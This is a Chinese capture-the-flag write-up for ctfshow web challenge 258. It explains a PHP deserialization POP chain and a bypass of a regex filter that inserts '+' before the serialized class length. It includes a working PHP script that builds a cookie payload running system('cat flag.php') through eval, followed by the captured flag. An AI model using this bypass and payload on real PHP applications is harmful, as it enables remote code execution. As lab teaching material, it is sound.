ctf show web 入门258

本题跟上一题思路基本一致

都是通过pop链最后让 eval()函数执行,并且通过反序列化将eval()函数中传入system(cat flag.php)想要执行eval()函数要先执行getinfo()方法,通过代码审计可以知道要执行getinfo()方法得先执行__destruct()方法

要执行__destruct()方法就要有一个对象被销毁,在我们传递完username和password的值后就会执行__destruct()方法

但是这一天增加了过滤机制,在反序列化之前,多了一行代码:

if(!preg_match('/oc:\d+:/i', $_COOKIE'user'))

这句正则表达式会检查 Cookie 字符串,如果里面包含 "不区分大小写的 o: 或 c: 后面紧跟一个或多个数字,再紧跟一个冒号" 的结构,就会拦截,不执行反序列化

PHP 在解析反序列化字符串时,对于表示类名长度的数字,前面如果带有一个正号 +,它依然能够成功将其转换为整型

因为多了一个 + 号,正则匹配中的 \d+(纯数字)就被打破了(变成了 + 后面接数字),从而成功绕过 preg_match,而后面的 unserialize() 在执行时会自动把 +11 处理成 11,正常反序列化

我们可以直接在本地写一个简单的脚本

php 复制代码
<?php
class ctfShowUser {
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';
    public $isVip = false;
    public $class;
}

class backDoor {
    public $code = "system('cat flag.php');";
}

$b = new backDoor();
$u = new ctfShowUser();
$u->class = $b;

$payload = serialize($u);

// 手动或自动在 O: 后面补上 + 号
// 替换前:O:11:"ctfShowUser" -> 替换后:O:+11:"ctfShowUser"
$payload = str_replace('O:', 'O:+', $payload);

echo urlencode($payload); 
// 注意:加号(+)在 URL 传输中会被浏览器误认为空格,所以这里必须进行 urlencode 编码,把 + 变成 %2B
?>

这个php代码运行后生产的payload已经帮我们绕过了正则限制,所以我们可以直接把它放到cookie中

这里的username和password的值随便传,按下回车后检查源代码就可以得到flag

ctfshow{69dba413-7d8b-47f0-8af9-ec267214e14e}

相关推荐
FungLeo5 小时前
成为全栈·React 管理后台篇·总复盘:从“接口能调通”到“后台值得使用”
前端·react.js·前端框架·项目复盘·成为全栈
警醒与鞭策5 小时前
【无标题】
android·unity·性能优化·游戏引擎·perforce
andyweike5 小时前
php笔记
开发语言·笔记·php
xian_wwq6 小时前
【学习笔记】等保合规安全基线核查实战
笔记·学习
Csvn6 小时前
并发模式:让渲染学会排队、插队和让路
前端
可乐鸡翅yeah_7 小时前
新手梳理:M3U8 线上问题,哪些是前端锅,哪些是后端锅
前端·ios·音视频·实时音视频·m3u8·音视频在线播放
Flynt7 小时前
Linear 用 1000 个 PR 换掉 styled-components,我写了 200 个按钮,把这笔账复现了一遍
前端·css·preact
传奇开心果编程7 小时前
【Jetpack Compose进阶学与练】第14课:系列收尾复习总结;Compose项目常见坑点汇总;学习路线与后续学习方向
android·学习·ui·kotlin·android jetpack
M78佐菲8 小时前
ARM学习笔记(11)
linux·arm开发·笔记·嵌入式硬件·学习
M78佐菲8 小时前
ARM学习笔记(10)
linux·arm开发·笔记·嵌入式硬件·学习